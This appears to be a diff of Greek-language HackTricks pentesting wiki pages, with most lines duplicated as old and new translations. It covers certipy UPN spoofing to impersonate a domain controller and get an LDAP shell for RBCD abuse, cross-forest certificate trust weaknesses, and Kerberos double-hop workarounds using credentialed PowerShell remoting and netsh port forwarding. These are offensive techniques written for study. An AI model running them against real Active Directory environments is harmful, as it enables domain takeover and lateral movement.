`Jane`'s `userPrincipalName` is then set to `DC$@corp.local`.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
```
Ζητείται ένα πιστοποιητικό για την πιστοποίηση του πελάτη ως `Jane` χρησιμοποιώντας το προεπιλεγμένο πρότυπο `User`.
Ένα πιστοποιητικό για την πιστοποίηση του πελάτη ζητείται ως `Jane` χρησιμοποιώντας το προεπιλεγμένο πρότυπο `User`.
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
Το `userPrincipalName` της `Jane` επαναφέρεται στην αρχική του κατάσταση μετά από αυτήν τη διαδικασία.
`Jane`'s `userPrincipalName` επαναφέρεται στην αρχική του κατάσταση μετά από αυτήν τη διαδικασία.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
```
Για να γίνει πιστοποίηση μέσω του Schannel, χρησιμοποιείται η επιλογή `-ldap-shell` του Certipy, η οποία υποδεικνύει επιτυχή πιστοποίηση ως `u:CORP\DC$`.
Για να πιστοποιηθείτε μέσω του Schannel, χρησιμοποιείται η επιλογή `-ldap-shell` του Certipy, ενώ η επιτυχία πιστοποίησης εμφανίζεται ως `u:CORP\DC$`.
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
Μέσω του LDAP shell, εντολές όπως `set_rbcd` επιτρέπουν επιθέσεις Resource-Based Constrained Delegation (RBCD), με δυνητική απειλή για τον ελεγκτή του τομέα.
Μέσω του LDAP κέλυφους, εντολές όπως `set_rbcd` ενεργοποιούν επιθέσεις Resource-Based Constrained Delegation (RBCD), που μπορεί να θέσουν σε κίνδυνο τον ελεγκτή του τομέα.
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
Αυτή η ευπάθεια επεκτείνεται επίσης σε οποιονδήποτε λογαριασμό χρήστη που δεν έχει ένα `userPrincipalName` ή όπου δεν ταιριάζει με το `sAMAccountName`, με το προεπιλεγμένο `Administrator@corp.local` να είναι ένας κύριος στόχος λόγω των αυξημένων προνομίων LDAP και της απουσίας ενός `userPrincipalName` από προεπιλογή.
Αυτή η ευπάθεια επεκτείνεται και σε οποιονδήποτε λογαριασμό χρήστη που λείπει το `userPrincipalName` ή όπου δεν ταιριάζει με το `sAMAccountName`, με το προεπιλεγμένο `Administrator@corp.local` να είναι ένας κύριος στόχος λόγω των υψηλών προνομίων LDAP και της απουσίας `userPrincipalName` από προεπιλογή.
## Εξήγηση της παραβίασης των δασών με πιστοποιητικά μέσω παθητικής φωνής
## Κατάργηση Δασών με Πιστοποιητικά Εξηγημένη σε Παθητική Φωνή
### Θραύση των εμπιστοσύνων των δασών από παραβιασμένες CAs
### Θραύση Δασών με Κατεστραμμένες CAs
Η διαμόρφωση για την **εγγραφή διασυνοριακής δασούς** γίνεται σχετικά απλή. Το **πιστοποιητικό της ρίζας CA** από το δασος πόρων δημοσιεύεται στα δάση λογαριασμών από τους διαχειριστές, και τα **πιστοποιητικά της επιχείρησης CA** από το δάσος πόρων προστίθενται στους φακέλους `NTAuthCertificates` και AIA σε κάθε δάσος λογαριασμού. Για να διευκρινιστεί, αυτή η διάταξη παρέχει στο **CA του δασούς πόρων πλήρη έλεγχο** σε όλα τα άλλα δάση για τα οποία διαχειρίζεται το PKI. Αν αυτό το CA πέσει **θύμα επιθέσεων**, τα πιστοποιητικά για όλους τους χρήστες τόσο στο δάσος πόρων όσο και στα δάση λογαριασμού μπορούν να πλαστογραφηθούν από αυτούς, παραβιάζοντας έτσι το ασφαλές όριο του δάσους.
Η διαμόρφωση για **διασυνοριακή εγγραφή** γίνεται σχετικά απλή. Το **πιστοποιητικό ρίζας CA** από το δάσος πόρων δημοσιεύεται στα δάση λογαριασμών από τους διαχειριστές, και τα πιστοποιητικά **enterprise CA** από το δάσος πόρων προστίθενται στα `NTAuthCertificates` και AIA containers σε κάθε δάσος λογαριασμού. Για να διευκρινίσουμε, αυτή η διάταξη χορηγεί στο **CA στο δάσος πόρων πλήρη έλεγχο** πάνω σε όλα τα άλλα δάση για τα οποία διαχειρίζεται το PKI. Αν αυτό το CA είναι **κατεστραμμένο από επιτιθέμενους**, τα πιστοποιητικά για όλους τους χρήστες τόσο στο δάσος πόρων όσο και στα δάση λογαριασμών μπορούν να **πλαστογραφηθούν από αυτούς**, σπάζοντας έτσι το όριο ασφαλείας του δάσους.
### Προνόμια εγγραφής που χορηγούνται σε ξένους πρωταγωνιστές
### Προνομίων Εγγραφής που Χορηγούνται σε Ξένους Αρχηγούς
Σε περιβάλλοντα με πολλά δάση, απαιτείται προσοχή όσον αφορά τα Enterprise CAs που **δημοσιεύουν πρότυπα πιστοποιητικών** που επιτρέπουν στους **Εξουσιοδοτημένους Χρήστες ή ξένους πρωταγωνιστές** (χρήστες/ομάδες εξωτερικού του δάσους στο οποίο ανήκει το Enterprise CA) **δικαίωμα εγγραφής και επεξεργασίας**.\
Μετά την πιστοποίηση σε μια εμπιστοσύνη, το SID των **Εξουσιοδοτημένων Χρηστών** προστίθεται στο διακριτικό του χρήστη από το AD. Έτσι, αν ένας τομέας διαθέτει ένα Enterprise CA με ένα πρότυπο που **επιτρέπει στους Εξουσιοδοτημένους Χρήστες δικαιώματα εγγραφής**, ένα πρότυπο θα μπορούσε πιθανώς να **εγγραφεί από έναν χρήστη από διαφορετικό δάσος**. Αντίστοιχα, αν **δικαιώματα εγγραφής χορηγούνται ρητά σε ξένο πρωταγωνιστή από ένα πρότυπο**, δημιουργείται ένας **συσχετισμός ελέγχου πρόσβασης διασυνοριακού προσβάσιμου**, επιτρέποντας σε έναν πρωταγωνιστή από ένα δάσος να **εγγραφεί σε ένα πρότυπο από ένα άλλο δάσος**.
Σε περιβάλλοντα με πολλά δάση, απαιτείται προσοχή όσον αφορά τα Enterprise CAs που **δημοσιεύουν πρότυπα πιστοποιητικών** τα οποία επιτρέπουν σε **Εξουσιοδοτημένους Χρήστες ή ξένους αρχηγούς** (χρήστες/ομάδες εξωτερικοί στο δάσος στο οποίο ανήκει το Enterprise CA) **δικαιώματα εγγραφής και επεξεργασίας**.\
Κατά την επαλήθευση σε ένα trust, το **SID των Εξουσιοδοτημένων Χρηστών** προστίθεται στο token του χρήστη από το AD. Έτσι, αν ένας τομέας διαθέτει ένα Enterprise CA με ένα πρότυπο που **επιτρέπει στους Εξουσιοδοτημένους Χρήστες δικαιώματα εγγραφής**, ένα πρότυπο θα μπορούσε πιθανότατα να **εγγραφεί από έναν χρήστη από διαφορετικό δάσος**. Αντίστοιχα, αν τα **δικαιώματα εγγραφής χορηγούνται ρητά σε ξένο αρχηγό από ένα πρότυπο**, δημιουργείται έτσι μια **σχέση ελέγχου πρόσβασης διασυνοριακά**, επιτρέποντας σε έναν αρχηγό από ένα δάσος να **εγγραφεί σε ένα πρότυπο από ένα άλλο δάσος**.
Και οι δύο περιπτώσεις οδηγούν σε μια **αύξηση της επιθετικής επιφάνειας** από ένα δάσος σε ένα άλλο. Οι ρυθμίσεις του προτύπου πιστοποιητικού μπορούν να εκμεταλλευτούνται από έναν επιτιθέμενο για να αποκτήσει επιπλέον προνόμια σε έναν ξένο τομέα.
Και τα δύο σενάρια οδηγούν σε μια **αύξηση της επιφάνειας επίθεσης** από ένα δάσος σε ένα άλλο. Οι ρυθμίσεις του προτύπου πιστοποιητικού θα μπορούσαν να εκμεταλλευτούν από έναν επιτιθέμενο για να αποκτήσει επιπλέον προνόμια σε ένα ξένο τομέα.

View file

@ -1,72 +1,74 @@
# Πρόβλημα Διπλής Αναπήδησης Kerberos
# Πρόβλημα Διπλού Άλματος στο Kerberos
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team Expert του HackTricks AWS)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** [**💬**](https://emojipedia.org/speech-balloon/) **στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Εισαγωγή
Το πρόβλημα "Double Hop" του Kerberos εμφανίζεται όταν ένας επιτιθέμενος προσπαθεί να χρησιμοποιήσει **πιστοποίηση Kerberos μέσω δύο** **αναπηδήσεων**, για παράδειγμα χρησιμοποιώντας **PowerShell**/**WinRM**.
Το πρόβλημα "Διπλού Άλματος" στο Kerberos εμφανίζεται όταν ένας επιτιθέμενος προσπαθεί να χρησιμοποιήσει **επαλήθευση Kerberos σε δύο** **άλματα**, για παράδειγμα χρησιμοποιώντας **PowerShell**/**WinRM**.
Όταν γίνεται μια **πιστοποίηση** μέσω **Kerberos**, οι **πιστοποιητικά** **δεν αποθηκεύονται** στην **μνήμη**. Επομένως, αν εκτελέσετε το mimikatz δεν θα βρείτε τα πιστοποιητικά του χρήστη στον υπολογιστή, ακόμα κι αν εκτελεί διεργασίες.
Όταν μια **επαλήθευση** συμβαίνει μέσω **Kerberos**, οι **διαπιστευτήρια** **δεν** αποθηκεύονται στη **μνήμη**. Επομένως, αν εκτελέσετε το mimikatz δεν θα βρείτε τα διαπιστευτήρια του χρήστη στον υπολογιστή ακόμα κι αν εκτελεί διεργασίες.
Αυτό συμβαίνει επειδή όταν συνδέεστε με το Kerberos ακολουθούνται τα εξής βήματα:
Αυτό συμβαίνει επειδή κατά τη σύνδεση με το Kerberos αυτά είναι τα βήματα:
1. Ο χρήστης 1 παρέχει τα διαπιστευτήριά του και ο ελεγκτής του τομέα επιστρέφει ένα **TGT** Kerberos στον χρήστη 1.
2. Ο χρήστης 1 χρησιμοποιεί το **TGT** για να ζητήσει ένα **εισιτήριο υπηρεσίας** για να **συνδεθεί** στον Διακομιστή 1.
3. Ο χρήστης 1 **συνδέεται** στον **Διακομιστή 1** και παρέχει το **εισιτήριο υπηρεσίας**.
4. Ο **Διακομιστής 1** δεν έχει τα **πιστοποιητικά** του χρήστη 1 αποθηκευμένα ούτε το **TGT** του χρήστη 1. Επομένως, όταν ο χρήστης 1 από τον Διακομιστή 1 προσπαθεί να συνδεθεί σε έναν δεύτερο διακομιστή, δεν μπορεί να πιστοποιηθεί.
1. Ο Χρήστης1 παρέχει διαπιστευτήρια και το **domain controller** επιστρέφει ένα Kerberos **TGT** στον Χρήστη1.
2. Ο Χρήστης1 χρησιμοποιεί το **TGT** για να ζητήσει ένα **εισιτήριο υπηρεσίας** για να **συνδεθεί** στον Διακομιστή1.
3. Ο Χρήστης1 **συνδέεται** στον **Διακομιστή1** και παρέχει το **εισιτήριο υπηρεσίας**.
4. Ο **Διακομιστής1** **δεν** έχει τα **διαπιστευτήρια** του Χρήστη1 αποθηκευμένα ή το **TGT** του Χρήστη1. Επομένως, όταν ο Χρήστης1 από τον Διακομιστή1 προσπαθεί να συνδεθεί σε ένα δεύτερο διακομιστή, δεν μπορεί να πιστοποιηθεί.
### Απεριόριστη Αναπηδηση
### Απεριόριστη Ανακατεύθυνση
Εάν η **απεριόριστη αναπηδηση** είναι ενεργοποιημένη στον υπολογιστή, αυτό δεν θα συμβεί, καθώς ο **Διακομιστής** θα **λάβει** ένα **TGT** από κάθε χρήστη που τον προσπελαύνει. Επιπλέον, εάν χρησιμοποιείται απεριόριστη αναπηδηση, πιθανόν να μπορείτε να **θέσετε σε κίνδυνο τον ελεγκτή του τομέα** από αυτό.\
[**Περισσότερες πληροφορίες στη σελίδα απεριόριστης αναπηδησης**](unconstrained-delegation.md).
Αν η **απεριόριστη ανακατεύθυνση** είναι ενεργοποιημένη στον Η/Υ, αυτό δεν θα συμβεί καθώς ο **Διακομιστής** θα **λάβει** ένα **TGT** από κάθε χρήστη που έχει πρόσβαση σε αυτόν. Επιπλέον, αν χρησιμοποιείται η απεριόριστη ανακατεύθυνση, πιθανόν να μπορείτε να **θέσετε σε κίνδυνο τον ελεγκτή του τομέα** από αυτόν.\
[**Περισσότερες πληροφορίες στη σελίδα της απεριόριστης ανακατεύθυνσης**](unconstrained-delegation.md).
### CredSSP
Ένας άλλος τρόπος να αποφευχθεί αυτό το πρόβλημα, ο οποίος είναι [**σημαντικά ανασφαλής**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), είναι ο **Credential Security Support Provider (CredSSP)**. Από τη Microsoft:
Ένας άλλος τρόπος να αποφευχθεί αυτό το πρόβλημα, ο οποίος είναι [**εξαιρετικά ανασφαλής**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) είναι ο **Πάροχος Υποστήριξης Ασφάλειας Διαπιστευτηρίων**. Από τη Microsoft:
> Η πιστοποίηση CredSSP αναθέτει τα διαπιστευτήρια του χρήστη από τον τοπικό υπολογιστή σε έναν απομακρυσμένο υπολογιστή. Αυτή η πρακτική αυξάνει τον κίνδυνο ασφαλείας της απομακρυσμένης λειτουργίας. Εάν ο απομακρυσμένος υπολογιστής διατρέχει κίνδυνο και του περάσουν διαπιστευτήρια, τα διαπιστευτήρια μπορούν να χρησιμοποιηθούν για να ελέγξουν τη δικτυακή συνεδρία.
> Η επαλήθευση CredSSP αναθέτει τα διαπιστευτήρια του χρήστη από τον τοπικό υπολογιστή σε έναν απομακρυσμένο υπολογιστή. Αυτή η πρακτική αυξάνει τον κίνδυνο ασφάλειας της απομακρυσμένης λειτουργίας. Αν ο απομακρυσμένος υπολογιστής διαρρεύσει, όταν τα διαπιστευτήρια περνούν σε αυτόν, τα διαπιστευτήρια μπορούν να χρησιμοποιηθούν για τον έλεγχο της δικτυακής συνεδρίας.
Συνιστάται ιδιαίτερα να απενεργοποιηθεί το **CredSSP** σε συστήματα παραγωγής, ευαίσθητα δίκτυα και παρόμοια περιβάλλοντα λόγω ανησυχιών ασφαλείας. Για να διαπιστωθεί εάν το **CredSSP** είναι ενεργοποιημένο, μπορεί να εκτελεστεί η εντολή `Get-WSManCredSSP`. Αυτή η εντολή επιτρέπει τον **έλεγχο της κατάστασης του CredSSP** και μπορεί ακόμα να εκτελεστεί απομακρυσμένα, εφόσον είναι ενεργοποιημένο το **WinRM**.
Συνιστάται ιδιαίτερα να απενεργοποιηθεί το **CredSSP** σε συστήματα παραγωγής, ευαίσθητα δίκτυα και παρόμοια περιβάλλοντα λόγω ανησυχιών για την ασφάλεια. Για να προσδιοριστεί εάν το **CredSSP** είναι ενεργοποιημένο, μπορεί να εκτελεστεί η εντολή `Get-WSManCredSSP`. Αυτή η εντολή επιτρέπει τον **έλεγχο της κατάστασης του CredSSP** και μπορεί ακόμα να εκτελεστεί απομακρυσμένα, εφόσον το **WinRM** είναι ενεργοποιημένο.
```powershell
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
}
```
## Εναλλακτικές λύσεις
## Παρακάμψεις
### Εκτέλεση Εντολής
### Εκκίνηση Εντολής
Για να αντιμετωπιστεί το πρόβλημα του διπλού hop, παρουσιάζεται μια μέθοδος που εμπλέκει τη χρήση της εντολής `Invoke-Command`. Αυτό δεν επιλύει το πρόβλημα απευθείας, αλλά προσφέρει μια εναλλακτική λύση χωρίς να απαιτεί ειδικές ρυθμίσεις. Η προσέγγιση αυτή επιτρέπει την εκτέλεση μιας εντολής (`hostname`) σε ένα δευτερεύοντα διακομιστή μέσω μιας εντολής PowerShell που εκτελείται από μια αρχική μηχανή επίθεσης ή μέσω μιας προηγουμένως δημιουργημένης PS-Session με τον πρώτο διακομιστή. Ακολουθεί ο τρόπος εκτέλεσης:
Για να αντιμετωπιστεί το πρόβλημα του διπλού hop, παρουσιάζεται μια μέθοδος που περιλαμβάνει ένα εμφωλευμένο `Invoke-Command`. Αυτό δεν επιλύει το πρόβλημα απευθείας, αλλά προσφέρει μια παράκαμψη χωρίς την ανάγκη ειδικών ρυθμίσεων. Η προσέγγιση επιτρέπει την εκτέλεση μιας εντολής (`hostname`) σε ένα δευτερεύον διακομιστή μέσω μιας εντολής PowerShell που εκτελείται από μια αρχική μηχανή επίθεσης ή μέσω μιας προηγουμένως καθιερωμένης συνεδρίας PS με τον πρώτο διακομιστή. Εδώ είναι πώς γίνεται:
```powershell
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
}
```
Εναλλακτικά, προτείνεται η δημιουργία μιας συνεδρίας PS-Session με τον πρώτο διακομιστή και η εκτέλεση της εντολής `Invoke-Command` χρησιμοποιώντας το `$cred` για την κεντρική διαχείριση των εργασιών.
### Καταχώρηση Ρύθμισης Συνεδρίας PS
### Εγγραφή της διαμόρφωσης PSSession
Μια λύση για την απόφυγη του προβλήματος του διπλού hop είναι η χρήση της εντολής `Register-PSSessionConfiguration` με την `Enter-PSSession`. Αυτή η μέθοδος απαιτεί μια διαφορετική προσέγγιση από το `evil-winrm` και επιτρέπει μια συνεδρία που δεν υπόκειται στον περιορισμό του διπλού hop.
Μια λύση για την παράκαμψη του προβλήματος διπλής ανακατεύθυνσης περιλαμβάνει τη χρήση του `Register-PSSessionConfiguration` με το `Enter-PSSession`. Αυτή η μέθοδος απαιτεί μια διαφορετική προσέγγιση από το `evil-winrm` και επιτρέπει μια συνεδρία που δεν υποφέρει από τον περιορισμό της διπλής ανακατεύθυνσης.
```powershell
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
Restart-Service WinRM
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
klist
```
### Προώθηση θύρας (Port Forwarding)
### Προώθηση Θύρας
Για τους τοπικούς διαχειριστές σε έναν ενδιάμεσο στόχο, η προώθηση θύρας επιτρέπει την αποστολή αιτημάτων σε έναν τελικό διακομιστή. Χρησιμοποιώντας το `netsh`, μπορεί να προστεθεί μια κανόνα για την προώθηση θύρας, μαζί με έναν κανόνα της τείχους προστασίας των Windows για να επιτραπεί η προώθηση της θύρας.
Για τους τοπικούς διαχειριστές σε έναν ενδιάμεσο στόχο, η προώθηση θύρας επιτρέπει την αποστολή αιτημάτων σε έναν τελικό διακομιστή. Χρησιμοποιώντας το `netsh`, μπορεί να προστεθεί μια κανόνα για την προώθηση θύρας, συνοδευόμενη από έναν κανόνα του τοίχου προστασίας των Windows για να επιτραπεί η πρόσβαση στην προωθημένη θύρα.
```bash
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
@ -79,15 +81,15 @@ winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
```
### OpenSSH
Η εγκατάσταση του OpenSSH στον πρώτο διακομιστή επιτρέπει μια παράκαμψη για το πρόβλημα του διπλού άλματος, ιδιαίτερα χρήσιμη για σενάρια με jump box. Αυτή η μέθοδος απαιτεί την εγκατάσταση και τη ρύθμιση του OpenSSH για τα Windows μέσω της γραμμής εντολών. Όταν ρυθμιστεί για την Επαλήθευση με κωδικό πρόσβασης, αυτό επιτρέπει στον ενδιάμεσο διακομιστή να λάβει ένα TGT εκ μέρους του χρήστη.
Η εγκατάσταση του OpenSSH στον πρώτο διακομιστή επιτρέπει μια παράκαμψη για το πρόβλημα του διπλού άλματος, ιδιαίτερα χρήσιμη για σενάρια jump box. Αυτή η μέθοδος απαιτεί εγκατάσταση και ρύθμιση του OpenSSH για τα Windows μέσω της γραμμής εντολών. Όταν ρυθμιστεί για Ελέγχου ταυτότητας με κωδικό πρόσβασης, αυτό επιτρέπει στον ενδιάμεσο διακομιστή να λάβει ένα TGT εκ μέρους του χρήστη.
#### Βήματα εγκατάστασης του OpenSSH
#### Βήματα Εγκατάστασης OpenSSH
1. Κατεβάστε και μετακινήστε το πιο πρόσφατο αρχείο zip κυκλοφορίας του OpenSSH στον στόχο διακομιστή.
2. Αποσυμπιέστε το αρχείο και εκτελέστε το σενάριο `Install-sshd.ps1`.
3. Προσθέστε μια κανόνα του τείχους προκειμένου να ανοίξετε τη θύρα 22 και επαληθεύστε ότι οι υπηρεσίες SSH εκτελούνται.
1. Λήψη και μετακίνηση του τελευταίου zip κυκλοφορίας του OpenSSH στον στόχο διακομιστή.
2. Αποσυμπίεση και εκτέλεση του σεναρίου `Install-sshd.ps1`.
3. Προσθήκη κανόνα του τοίχου προστασίας για το άνοιγμα της θύρας 22 και επαλήθευση ότι οι υπηρεσίες SSH λειτουργούν.
Για την επίλυση σφαλμάτων `Connection reset`, ίσως χρειαστεί να ενημερωθούν οι άδειες πρόσβασης προκειμένου να επιτραπεί σε όλους την ανάγνωση και την εκτέλεση στον κατάλογο του OpenSSH.
Για την επίλυση σφαλμάτων `Επαναφορά σύνδεσης`, οι άδειες πρόσβασης ενδέχεται να χρειαστεί να ενημερωθούν για να επιτραπεί σε όλους την ανάγνωση και εκτέλεση στον κατάλογο του OpenSSH.
```bash
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
```
@ -98,14 +100,18 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
* [https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting](https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting)
* [https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή την [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,21 +2,26 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Βασικές Πληροφορίες
Το Local Administrator Password Solution (LAPS) είναι ένα εργαλείο που χρησιμοποιείται για τη διαχείριση ενός συστήματος, όπου εφαρμόζονται **κωδικοί πρόσβασης διαχειριστή**, οι οποίοι είναι **μοναδικοί, τυχαίοι και αλλάζουν συχνά**, σε υπολογιστές που έχουν ενταχθεί στον τομέα. Αυτοί οι κωδικοί πρόσβασης αποθηκεύονται με ασφάλεια μέσα στο Active Directory και είναι προσβάσιμοι μόνο από χρήστες που έχουν δοθεί άδεια μέσω των Access Control Lists (ACLs). Η ασφάλεια των μεταδόσεων των κωδικών πρόσβασης από τον πελάτη στον διακομιστή εξασφαλίζεται με τη χρήση του **Kerberos έκδοση 5** και του **Advanced Encryption Standard (AES)**.
